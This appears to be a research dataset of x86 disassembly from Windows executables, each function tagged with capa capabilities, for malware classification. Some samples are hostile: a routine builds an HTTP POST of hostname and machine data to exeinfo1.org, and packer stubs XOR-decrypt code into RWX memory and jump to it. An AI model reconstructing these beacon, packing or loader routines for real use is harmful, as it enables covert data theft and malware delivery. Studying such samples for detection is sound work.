joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403dd8
Capabilities:
Get hostname
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1614
call fcn.004041a0
lea eax, [ebp - 0xe14]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x403f78
push ebx
push esi
mov esi, 0x400
push edi
lea eax, [ebp - 0x1214]
push esi
push eax
call sub.WS2_32.dll_gethostname
call fcn.00403611
call fcn.004036b7
call fcn.0040390f
xor edi, edi
push esi
lea eax, [ebp - 0x884]
push edi
push eax
call fcn.004040c0
add esp, 0xc
xor ebx, ebx
cmp dword [0x40ea60], edi
jbe 0x403e6d
lea eax, [ebp - 0x884]
mov dword [ebp - 4], eax
movzx eax, byte [ebx + 0x40da60]
push eax
push str._02x
push dword [ebp - 4]
call fcn.00404118
add dword [ebp - 4], 2
add esp, 0xc
inc ebx
cmp ebx, dword [0x40ea60]
jb 0x403e48
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1614]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.004040c0
push 0x40
lea eax, [ebp - 0x84]
push edi
push eax
call fcn.004040c0
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call fcn.004040c0
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1614]
push eax
call fcn.00403cf7
push esi
lea eax, [ebp - 0x484]
push edi
push eax
call fcn.004040c0
add esp, 0x40
lea eax, [ebp - 0x484]
push eax
call fcn.00403a3d
lea eax, [ebp - 0x484]
push eax
call fcn.00404590
mov esi, eax
lea eax, [ebp - 0xc84]
push eax
call fcn.00404590
add esi, eax
lea eax, [ebp - 0x84]
push eax
call fcn.00404590
add esi, eax
lea eax, [ebp - 0x44]
push eax
call fcn.00404590
add esi, eax
lea eax, [ebp - 0x884]
push eax
call fcn.00404590
add esi, eax
lea eax, [ebp - 0x1214]
push eax
call fcn.00404590
add esp, 0x1c
lea ecx, [ebp - 0x44]
lea eax, [esi + eax + 0x1a]
push ecx
lea ecx, [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x484]
push ecx
lea ecx, [ebp - 0xc84]
push ecx
lea ecx, [ebp - 0x884]
push ecx
lea ecx, [ebp - 0x1214]
push ecx
push eax
push str.POST__pro1.asp_HTTP_1.1_r_nHost:exeinfo1.org_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:_d_r_n_r_na1_sa2_sa3_sa4_sa6_sa7_s_r_n_r_n
push dword [ebp + 8]
call fcn.00404118
add esp, 0x24
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x4031f4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x403203
pop dword [ebp - 0x38]
mov eax, 0x403203
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x5d82457e
sub dword [ebp - 0x48], 0xf300033
mov dword [ebp - 0x44], 0x1d71d17c
add dword [ebp - 0x44], 0x14c17ac9
mov dword [ebp - 0x40], 0x22891982
add dword [ebp - 0x40], 0x29c32aac
mov dword [ebp - 0x3c], 0xf7fe7335
sub dword [ebp - 0x3c], 0xf7fe7335
lea eax, [ebp - 0x48]
push eax
mov eax, 0x53ef3598
sub eax, 0x53aec534
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x977c4f1
sub dword [ebp - 0x48], 0x95055b9b
mov dword [ebp - 0x44], 0xa2de7ead
add dword [ebp - 0x44], 0x9e8de2c8
mov dword [ebp - 0x40], 0x8d66666
sub dword [ebp - 0x40], 0xa566f9fa
mov dword [ebp - 0x3c], 0xee5adcd
sub dword [ebp - 0x3c], 0xee5adcd
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xce02e0e7
add eax, 0x323d8fc1
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x38aed
push 0
call eax
mov ecx, 0x505b
mov edi, eax
mov ebx, 0x39737a33
add ebx, 0xc6cd85cd
add ebx, dword [ebp - 0x38]
mov esi, 0xd9719a82
sub esi, 0xd0377204
mov edx, dword [ebx]
sub dword [ebp - 0xc], 0x2b5c6cb5
sub edx, esi
xor dword [ebp - 0x30], 0xc9b04ba0
mov dword [edi], edx
sub dword [ebp - 4], ebx
add edi, 0xab98f7af
sub edi, 0xab98f7ab
add ebx, 0x39dc79c4
sub ebx, 0x39dc79c0
loop 0x40331a
add eax, 0x73836d70
sub eax, 0x73823931
xor ebx, ebx
add ebx, eax
add eax, 0x58495404
sub eax, 0x584953ff
mov ecx, 0x5ebb5530
add ecx, 0xa184aad0
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x405cc0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
movsx eax, byte [esi]
test eax, eax
jne 0x405cf4
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x10c]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push esi
call fcn.00405ad0
add esp, 0x14
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*4]
push eax
call fcn.00406210
pop ecx
mov ebx, eax
test eax, eax
jne 0x405d27
push 1
call fcn.004057b0
pop ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
lea eax, [ebx + eax*4]
push eax
push ebx
push esi
call fcn.00405ad0
add esp, 0x14
mov eax, dword [ebp - 4]
dec eax
mov dword [0x453928], eax
mov dword [0x453924], ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405d60
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov ebx, dword [ebp - 8]
jmp 0x405d98
or eax, 0xffffffff
inc eax
cmp byte [ebx + eax], 0
jne 0x405d81
inc eax
mov esi, eax
movsx eax, byte [ebx]
cmp eax, 0x3d
je 0x405d96
add dword [ebp - 4], esi
add ebx, esi
cmp byte [ebx], 0
jne 0x405d7e
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.00406210
pop ecx
mov edi, eax
mov dword [0x453a30], eax
test eax, eax
jne 0x405dbb
push 1
call fcn.004057b0
pop ecx
mov ebx, dword [ebp - 8]
jmp 0x405de2
or eax, 0xffffffff
inc eax
cmp byte [ebx + eax], 0
jne 0x405dc3
inc eax
mov esi, eax
movsx eax, byte [ebx]
cmp eax, 0x3d
je 0x405de0
push ebx
push edi
call fcn.00406a90
pop ecx
pop ecx
add edi, esi
add ebx, esi
movsx eax, byte [ebx]
test eax, eax
jne 0x405dc0
mov byte [edi], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
enter 0x84, 0
sub ebp, 0x82
mov dword [ebp - 2], 0
call fcn.004014da

Function at 0x4014da
Capabilities:
Delete file
Encode data using base64 via winapi
Get common file path

Disassembly:
push ecx
push edx
enter 0x220, 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.DLL_GetCursorPos]
push 0x104
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
lea eax, [ebp - 0x220]
push eax
mov dword [ebp - 4], 0xa
mov byte [ebp - 0x220], 0
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push 1
push 1
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.CRYPT32.DLL_CryptBinaryToStringA]
movzx eax, byte [ebp - 0x18]
sub eax, 0x41
leave
pop edx
pop ecx
ret

Function at 0x4038fa
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040fa], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404658], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4045ec], eax
mov dword [0x4040f2], eax
mov dword [0x4045d8], 0x30
mov dword [0x4045dc], 2
jmp 0x40393f
mov dword [0x4045e0], 0x403153
mov dword [0x4045e4], 0
mov dword [0x4045e8], 0
mov dword [0x404600], 0x40454e
mov dword [0x4045f8], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4045f0], eax
mov dword [0x404604], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4045f4], eax
push 0x4045d8
fadd dword [ebp + 0x40]
add bh, bh
adc eax, sym.imp.user32.dll_RegisterClassExA
push 0
push dword [0x4040f2]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.asdlkjalsdj_ai8
push 0x40454e
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404650], eax
push 5
push dword [0x404650]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404650]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404608]
jmp 0x403a13
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a05
mov eax, dword [0x404610]
jmp 0x403a2e
call 0x402bd5
ret
Function at 0x40107e
Capabilities:
Delete file
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [0x4ac6c8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x4ac6cc]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], ecx
call fcn.00401077
mov eax, dword [0x4ac6d0]
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [0x4ac6d4]
add ebx, 0x23f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x20
jmp 0x4010d3
xor ecx, ecx
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x4bb914], 0xc
mov dword [ebp - 4], eax
jne 0x4010fd
push ecx
lea eax, [ebp - 0x30]
push eax
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0x4bb914]
cmp eax, 0xfa9
jne 0x401119
mov dword [0x4bb910], 0xedeb2e40
cmp eax, 0x3eb
jne 0x40113a
push str.komovavukuniburubawumukoni
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
and dword [0x4bb868], 0
lea eax, [ebx + edi]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [0x4bb90c], 0xf4ea3dee
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
sub esi, eax
mov dword [ebp - 8], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
lea eax, [ebx + esi]
mov dword [ebp - 0x18], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x2c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
cmp dword [0x4bb914], 0xb03
jne 0x4011bb
push str.ruyenemilimusibubigukexem
push edx
push edx
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 8]
add ebx, 0x61c88647
sub edi, eax
dec dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], edi
jne 0x4010d1
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebx
leave
ret 4
Function at 0x4073e0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4ab83c]
jne 0x4073ea
repz ret
jmp fcn.0040b7ef

Function at 0x40b1dd
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405d77
and dword [ebp - 4], 0
cmp dword [0x4b0904], 0
mov ebx, eax
jne 0x40b28e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b33f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b33f
push eax
call fcn.00405d05
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4b0904], eax
call esi
push eax
call fcn.00405d05
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4b0908], eax
call esi
push eax
call fcn.00405d05
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4b090c], eax
call esi
push eax
call fcn.00405d05
pop ecx
mov dword [0x4b0914], eax
test eax, eax
je 0x40b28e
push 0x4a7f18
push edi
call esi
push eax
call fcn.00405d05
pop ecx
mov dword [0x4b0910], eax
mov eax, dword [0x4b0910]
cmp eax, ebx
je 0x40b2e6
cmp dword [0x4b0914], ebx
je 0x40b2e6
push eax
call fcn.00405d80
push dword [0x4b0914]
mov esi, eax
call fcn.00405d80
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b2e6
test edi, edi
je 0x40b2e6
call esi
test eax, eax
je 0x40b2dd
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b2dd
test byte [ebp - 0xc], 1
jne 0x40b2e6
or dword [ebp + 0x10], 0x200000
jmp 0x40b31f
mov eax, dword [0x4b0908]
cmp eax, ebx
je 0x40b31f
push eax
call fcn.00405d80
pop ecx
test eax, eax
je 0x40b31f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b31f
mov eax, dword [0x4b090c]
cmp eax, ebx
je 0x40b31f
push eax
call fcn.00405d80
pop ecx
test eax, eax
je 0x40b31f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4b0904]
call fcn.00405d80
pop ecx
test eax, eax
je 0x40b33f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b341
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4129eb
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
ret 0x8ce
push ebp
int3
mov esp, 0x7cd993e9
fldenv [edi + 0x5a528ec8]
pop eax
jle 0x412936
inc esi
dec ebx
fisubr word [esi - 0x500ca5c5]
add ebp, ecx
cmp edx, dword [edx]
insd dword es:[edi], dx
into
les edx, [ebx - 0x4af4856a]
mov dl, 0xb
add dword [0xb8a9a19], 0x61de6400
jecxz 0x412977
or esi, dword [ebp + 0x5810bb2]
sbb dword [edx + 0x64000b8a], ebx
fisub word [ecx - 0x1d]
invalid
out dx, eax
rcr byte [edx - 0x43], 6
mov bh, 0x70
insd dword es:[edi], dx
jle 0x41291a
sub byte [ebx], dh
dec esi
inc edi
scasd eax, dword es:[edi]
pop es
in eax, dx
sub edx, 0x4b9f62af
push ebp
and ecx, dword [esi]
push cs
not dword [ebx + 0x36]
je 0x412957
xchg dword [eax], ecx
sbb ah, ch
inc ecx
sahf
aad 5
xor al, 0x15
mov dword cs:[0x800b95bf], eax
add ebx, dword [eax]
pop ds
dec eax
cwde
sbb cl, byte [0x70d79629]
pop edi
cli
pop ds
mov ebp, ecx
mov ecx, 0x464eae0f
invalid
jnp 0xe95d28eb
sub bl, 0xe8
aam 0x64
xlatb
lahf
jno 0x412a72
loope 0x412997
mov byte [ecx + ebp*8], al
hlt
dec ebp
add esi, ebp
mov bh, 0xbd
dec esp
mov ah, 0x88
dec dword [edi - 0x50]
xor dword [ebx], edx
jl 0x412a59
outsb dx, byte [esi]
test eax, 0x8e2f6a00
jmp 0x412a90
jmp edi
adc eax, 0x7fde0f9a
out dx, al
inc edi
cmc
push ebx
mov bh, 0x9b
xchg ecx, eax
out 0x36, al
xchg byte [ecx + edi*4 + 0x7cfd2483], cl
push 0x8b0f225f
stosb byte es:[edi], al
xchg esp, eax
mov cl, byte [esi]
push cs
insd dword es:[edi], dx
loopne 0x412a1e
lds esp, [ecx + 0x60]
arpl word [edx], dx
adc eax, 0xa4c8f306
mov cl, 0x23
ja 0x412b05
mov ds, word [eax]
sub dl, byte [edx - 0x3a]
and al, 0xf6
or eax, 0x49b5be70
adc al, 0x3f
sbb dl, byte [ecx + ebx*8 - 0x51]
out dx, eax
stosb byte es:[edi], al
das
or edx, dword [esi + eax - 0x431bd983]
inc edi
cmp byte [edx - 1], cl
push ecx
sbb dword [edi], edi
jne 0x412af2
sub al, 0x5c
lds edx, [ecx + ebx*8]
cmp al, 0x33
xor bl, bl
ror dword [eax + 0x3341d9cc], 1
jne 0x412afd
jo 0x412b0d
or bh, dh
sbb esi, edx
fnstsw word [ebp + 0x51e01ad9]
invalid
pop esi
xor al, cl
push cs
fist dword [ebp + 0x6c57c3dc]
push edi
insb byte es:[edi], dx
xchg edi, eax
lodsd eax, dword [esi]
iretd
cmp dl, al
invalid
das
inc ebp
add byte [ebp - 0x505c0581], dl
rcr dword [edi + 0x281f4991], cl
int 0x6a
lodsd eax, dword [esi]
xchg ebp, eax
jg 0x412b0a
mov dword [0x919fd3af], eax
dec ecx
pop ds
sub ch, cl
push 0xffffffffffffffad
jno 0x412afa
insd dword es:[edi], dx
invalid

Function at 0x414dd0
Capabilities:
Encode data using xor

Disassembly:
xor dword [ecx], edx
add esi, ebx
add ecx, 4
mov ebx, 0x9a44ece1
add edi, ebx
sub edi, 0x96ef502b
cmp ecx, eax
jne fcn.00414dd0
sub esp, 4
mov dword [esp], 0x55c33891
pop ebx
and edi, ebx
ret

Function at 0x403000
Capabilities:
Terminate process

Disassembly:
push str.hello_world_
call dword [sym.imp.msvcrt.dll_printf]
call dword [sym.imp.msvcrt.dll__getch]
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x408b30
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48394b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004620e1
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x408bb2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045ffc2
mov eax, dword [eax]
push 0x4a6b80
push eax
call fcn.0046dfa4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046236c
test bl, bl
je 0x408bb2
push 0x4a6b80
lea ecx, [esp + 0xc]
call fcn.004626fc
push 0x4a6b8c
lea ecx, [esp + 0xc]
call fcn.004626fc
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x408bee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046236c
jmp 0x408cb9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x408c72
lea edx, [esp + 0x7c]
push 0x4a6b88
push edx
call fcn.0046dfa4
add esp, 8
test eax, eax
je 0x408c72
lea eax, [esp + 0x7c]
push 0x4a6b84
push eax
call fcn.0046dfa4
add esp, 8
test eax, eax
je 0x408c72
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408c02
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046236c
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x4094b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x409512
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x409520
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4839cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4b0540]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x409658
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x409586
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046236c
xor eax, eax
jmp 0x4096cf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004624a9
push esi
lea ecx, [esp + 0xc]
call fcn.00462738
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4096ad
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.004094b0
test eax, eax
jne 0x4096ad
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.004094b0
test eax, eax
jne 0x4096ad
lea eax, [esp + 0x14]
push 0x4a6b9c
push eax
call fcn.0046f4b3
mov esi, eax
add esp, 8
test esi, esi
jne 0x40968c
lea ecx, [esp + 0x14]
push 0x4a6b98
push ecx
call fcn.0046f250
mov esi, eax
add esp, 8
test esi, esi
jne 0x40968c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40968f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00462459
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40959e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046236c
xor eax, eax
jmp 0x4096cf
mov byte [esi], 0
push 0x4a6b94
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0046236c
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4